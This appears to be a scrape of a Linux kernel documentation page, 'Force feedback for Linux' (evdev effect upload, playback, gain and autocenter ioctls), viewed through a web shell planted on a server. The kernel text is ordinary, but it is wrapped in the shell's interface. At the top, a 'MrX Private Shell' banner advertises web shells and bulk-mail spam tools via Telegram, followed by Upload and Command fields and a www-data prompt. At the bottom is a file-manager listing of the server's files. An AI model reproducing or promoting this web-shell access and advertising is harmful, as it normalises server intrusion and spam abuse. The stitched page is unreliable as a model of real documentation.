__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.139: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>5. Force feedback for Linux &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="6. Linux Joystick support" href="joydev/index.html" />
    <link rel="prev" title="4. Linux Gamepad Specification" href="gamepad.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/input/ff.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="force-feedback-for-linux">
<h1><span class="section-number">5. </span>Force feedback for Linux<a class="headerlink" href="#force-feedback-for-linux" title="Link to this heading">¶</a></h1>
<dl class="field-list simple">
<dt class="field-odd">Author<span class="colon">:</span></dt>
<dd class="field-odd"><p>Johann Deneux &lt;<a class="reference external" href="mailto:johann&#46;deneux&#37;&#52;&#48;gmail&#46;com">johann<span>&#46;</span>deneux<span>&#64;</span>gmail<span>&#46;</span>com</a>&gt; on 2001/04/22.</p>
</dd>
<dt class="field-even">Updated<span class="colon">:</span></dt>
<dd class="field-even"><p>Anssi Hannula &lt;<a class="reference external" href="mailto:anssi&#46;hannula&#37;&#52;&#48;gmail&#46;com">anssi<span>&#46;</span>hannula<span>&#64;</span>gmail<span>&#46;</span>com</a>&gt; on 2006/04/09.</p>
</dd>
</dl>
<p>You may redistribute this file. Please remember to include shape.svg and
interactive.svg as well.</p>
<section id="introduction">
<h2><span class="section-number">5.1. </span>Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h2>
<p>This document describes how to use force feedback devices under Linux. The
goal is not to support these devices as if they were simple input-only devices
(as it is already the case), but to really enable the rendering of force
effects.
This document only describes the force feedback part of the Linux input
interface. Please read <a class="reference internal" href="joydev/joystick.html"><span class="doc">Introduction</span></a> and <a class="reference internal" href="input.html"><span class="doc">Introduction</span></a> before reading further
this document.</p>
</section>
<section id="instructions-to-the-user">
<h2><span class="section-number">5.2. </span>Instructions to the user<a class="headerlink" href="#instructions-to-the-user" title="Link to this heading">¶</a></h2>
<p>To enable force feedback, you have to:</p>
<ol class="arabic simple">
<li><p>have your kernel configured with evdev and a driver that supports your
device.</p></li>
<li><p>make sure evdev module is loaded and /dev/input/event* device files are
created.</p></li>
</ol>
<p>Before you start, let me WARN you that some devices shake violently during the
initialisation phase. This happens for example with my “AVB Top Shot Pegasus”.
To stop this annoying behaviour, move your joystick to its limits. Anyway, you
should keep a hand on your device, in order to avoid it to break down if
something goes wrong.</p>
<p>If you have a serial iforce device, you need to start inputattach. See
<a class="reference internal" href="joydev/joystick.html"><span class="doc">Introduction</span></a> for details.</p>
<section id="does-it-work">
<h3><span class="section-number">5.2.1. </span>Does it work ?<a class="headerlink" href="#does-it-work" title="Link to this heading">¶</a></h3>
<p>There is an utility called fftest that will allow you to test the driver:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>% fftest /dev/input/eventXX
</pre></div>
</div>
</section>
</section>
<section id="instructions-to-the-developer">
<h2><span class="section-number">5.3. </span>Instructions to the developer<a class="headerlink" href="#instructions-to-the-developer" title="Link to this heading">¶</a></h2>
<p>All interactions are done using the event API. That is, you can use ioctl()
and write() on /dev/input/eventXX.
This information is subject to change.</p>
<section id="querying-device-capabilities">
<h3><span class="section-number">5.3.1. </span>Querying device capabilities<a class="headerlink" href="#querying-device-capabilities" title="Link to this heading">¶</a></h3>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>#include &lt;linux/input.h&gt;
#include &lt;sys/ioctl.h&gt;

#define BITS_TO_LONGS(x) \
        (((x) + 8 * sizeof (unsigned long) - 1) / (8 * sizeof (unsigned long)))
unsigned long features[BITS_TO_LONGS(FF_CNT)];
int ioctl(int file_descriptor, int request, unsigned long *features);
</pre></div>
</div>
<p>“request” must be EVIOCGBIT(EV_FF, size of features array in bytes )</p>
<p>Returns the features supported by the device. features is a bitfield with the
following bits:</p>
<ul class="simple">
<li><p>FF_CONSTANT   can render constant force effects</p></li>
<li><p>FF_PERIODIC   can render periodic effects with the following waveforms:</p>
<ul>
<li><p>FF_SQUARE     square waveform</p></li>
<li><p>FF_TRIANGLE   triangle waveform</p></li>
<li><p>FF_SINE       sine waveform</p></li>
<li><p>FF_SAW_UP     sawtooth up waveform</p></li>
<li><p>FF_SAW_DOWN   sawtooth down waveform</p></li>
<li><p>FF_CUSTOM     custom waveform</p></li>
</ul>
</li>
<li><p>FF_RAMP       can render ramp effects</p></li>
<li><p>FF_SPRING     can simulate the presence of a spring</p></li>
<li><p>FF_FRICTION   can simulate friction</p></li>
<li><p>FF_DAMPER     can simulate damper effects</p></li>
<li><p>FF_RUMBLE     rumble effects</p></li>
<li><p>FF_INERTIA    can simulate inertia</p></li>
<li><p>FF_GAIN       gain is adjustable</p></li>
<li><p>FF_AUTOCENTER autocenter is adjustable</p></li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<ul class="simple">
<li><p>In most cases you should use FF_PERIODIC instead of FF_RUMBLE. All
devices that support FF_RUMBLE support FF_PERIODIC (square, triangle,
sine) and the other way around.</p></li>
<li><p>The exact syntax FF_CUSTOM is undefined for the time being as no driver
supports it yet.</p></li>
</ul>
</div>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int ioctl(int fd, EVIOCGEFFECTS, int *n);
</pre></div>
</div>
<p>Returns the number of effects the device can keep in its memory.</p>
</section>
<section id="uploading-effects-to-the-device">
<h3><span class="section-number">5.3.2. </span>Uploading effects to the device<a class="headerlink" href="#uploading-effects-to-the-device" title="Link to this heading">¶</a></h3>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>#include &lt;linux/input.h&gt;
#include &lt;sys/ioctl.h&gt;

int ioctl(int file_descriptor, int request, struct ff_effect *effect);
</pre></div>
</div>
<p>“request” must be EVIOCSFF.</p>
<p>“effect” points to a structure describing the effect to upload. The effect is
uploaded, but not played.
The content of effect may be modified. In particular, its field “id” is set
to the unique id assigned by the driver. This data is required for performing
some operations (removing an effect, controlling the playback).
The “id” field must be set to -1 by the user in order to tell the driver to
allocate a new effect.</p>
<p>Effects are file descriptor specific.</p>
<p>See &lt;uapi/linux/input.h&gt; for a description of the ff_effect struct.  You
should also find help in a few sketches, contained in files shape.svg
and interactive.svg:</p>
<figure class="align-default" id="id1">
<img alt="../_images/shape.svg" src="../_images/shape.svg" />
<figcaption>
<p><span class="caption-text">Shape</span><a class="headerlink" href="#id1" title="Link to this image">¶</a></p>
</figcaption>
</figure>
<figure class="align-default" id="id2">
<img alt="../_images/interactive.svg" src="../_images/interactive.svg" />
<figcaption>
<p><span class="caption-text">Interactive</span><a class="headerlink" href="#id2" title="Link to this image">¶</a></p>
</figcaption>
</figure>
</section>
<section id="removing-an-effect-from-the-device">
<h3><span class="section-number">5.3.3. </span>Removing an effect from the device<a class="headerlink" href="#removing-an-effect-from-the-device" title="Link to this heading">¶</a></h3>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int ioctl(int fd, EVIOCRMFF, effect.id);
</pre></div>
</div>
<p>This makes room for new effects in the device’s memory. Note that this also
stops the effect if it was playing.</p>
</section>
<section id="controlling-the-playback-of-effects">
<h3><span class="section-number">5.3.4. </span>Controlling the playback of effects<a class="headerlink" href="#controlling-the-playback-of-effects" title="Link to this heading">¶</a></h3>
<p>Control of playing is done with write(). Below is an example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span> #include &lt;linux/input.h&gt;
 #include &lt;unistd.h&gt;

     struct input_event play;
     struct input_event stop;
     struct ff_effect effect;
     int fd;
...
     fd = open(&quot;/dev/input/eventXX&quot;, O_RDWR);
...
     /* Play three times */
     play.type = EV_FF;
     play.code = effect.id;
     play.value = 3;

     write(fd, (const void*) &amp;play, sizeof(play));
...
     /* Stop an effect */
     stop.type = EV_FF;
     stop.code = effect.id;
     stop.value = 0;

     write(fd, (const void*) &amp;stop, sizeof(stop));
</pre></div>
</div>
</section>
<section id="setting-the-gain">
<h3><span class="section-number">5.3.5. </span>Setting the gain<a class="headerlink" href="#setting-the-gain" title="Link to this heading">¶</a></h3>
<p>Not all devices have the same strength. Therefore, users should set a gain
factor depending on how strong they want effects to be. This setting is
persistent across access to the driver.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/* Set the gain of the device
int gain;           /* between 0 and 100 */
struct input_event ie;      /* structure used to communicate with the driver */

ie.type = EV_FF;
ie.code = FF_GAIN;
ie.value = 0xFFFFUL * gain / 100;

if (write(fd, &amp;ie, sizeof(ie)) == -1)
    perror(&quot;set gain&quot;);
</pre></div>
</div>
</section>
<section id="enabling-disabling-autocenter">
<h3><span class="section-number">5.3.6. </span>Enabling/Disabling autocenter<a class="headerlink" href="#enabling-disabling-autocenter" title="Link to this heading">¶</a></h3>
<p>The autocenter feature quite disturbs the rendering of effects in my opinion,
and I think it should be an effect, which computation depends on the game
type. But you can enable it if you want.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int autocenter;             /* between 0 and 100 */
struct input_event ie;

ie.type = EV_FF;
ie.code = FF_AUTOCENTER;
ie.value = 0xFFFFUL * autocenter / 100;

if (write(fd, &amp;ie, sizeof(ie)) == -1)
    perror(&quot;set auto-center&quot;);
</pre></div>
</div>
<p>A value of 0 means “no auto-center”.</p>
</section>
<section id="dynamic-update-of-an-effect">
<h3><span class="section-number">5.3.7. </span>Dynamic update of an effect<a class="headerlink" href="#dynamic-update-of-an-effect" title="Link to this heading">¶</a></h3>
<p>Proceed as if you wanted to upload a new effect, except that instead of
setting the id field to -1, you set it to the wanted effect id.
Normally, the effect is not stopped and restarted. However, depending on the
type of device, not all parameters can be dynamically updated. For example,
the direction of an effect cannot be updated with iforce devices. In this
case, the driver stops the effect, up-load it, and restart it.</p>
<p>Therefore it is recommended to dynamically change direction while the effect
is playing only when it is ok to restart the effect with a replay count of 1.</p>
</section>
<section id="information-about-the-status-of-effects">
<h3><span class="section-number">5.3.8. </span>Information about the status of effects<a class="headerlink" href="#information-about-the-status-of-effects" title="Link to this heading">¶</a></h3>
<p>Every time the status of an effect is changed, an event is sent. The values
and meanings of the fields of the event are as follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct input_event {
/* When the status of the effect changed */
        struct timeval time;

/* Set to EV_FF_STATUS */
        unsigned short type;

/* Contains the id of the effect */
        unsigned short code;

/* Indicates the status */
        unsigned int value;
};

FF_STATUS_STOPPED   The effect stopped playing
FF_STATUS_PLAYING   The effect started to play
</pre></div>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<ul class="simple">
<li><p>Status feedback is only supported by iforce driver. If you have
a really good reason to use this, please contact
<a class="reference external" href="mailto:linux-joystick&#37;&#52;&#48;atrey&#46;karlin&#46;mff&#46;cuni&#46;cz">linux-joystick<span>&#64;</span>atrey<span>&#46;</span>karlin<span>&#46;</span>mff<span>&#46;</span>cuni<span>&#46;</span>cz</a> or <a class="reference external" href="mailto:anssi&#46;hannula&#37;&#52;&#48;gmail&#46;com">anssi<span>&#46;</span>hannula<span>&#64;</span>gmail<span>&#46;</span>com</a>
so that support for it can be added to the rest of the drivers.</p></li>
</ul>
</div>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/input/ff.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
devices Folder 0755
joydev Folder 0755
event-codes.html File 31.7 KB 0644
ff.html File 20.49 KB 0644
gamepad.html File 17.51 KB 0644
gameport-programming.html File 18.3 KB 0644
index.html File 11.85 KB 0644
input-programming.html File 26.24 KB 0644
input.html File 22.46 KB 0644
input_kapi.html File 11.17 KB 0644
input_uapi.html File 13.82 KB 0644
multi-touch-protocol.html File 33.08 KB 0644
notifier.html File 10.37 KB 0644
uinput.html File 35.91 KB 0644
userio.html File 13.04 KB 0644
Filemanager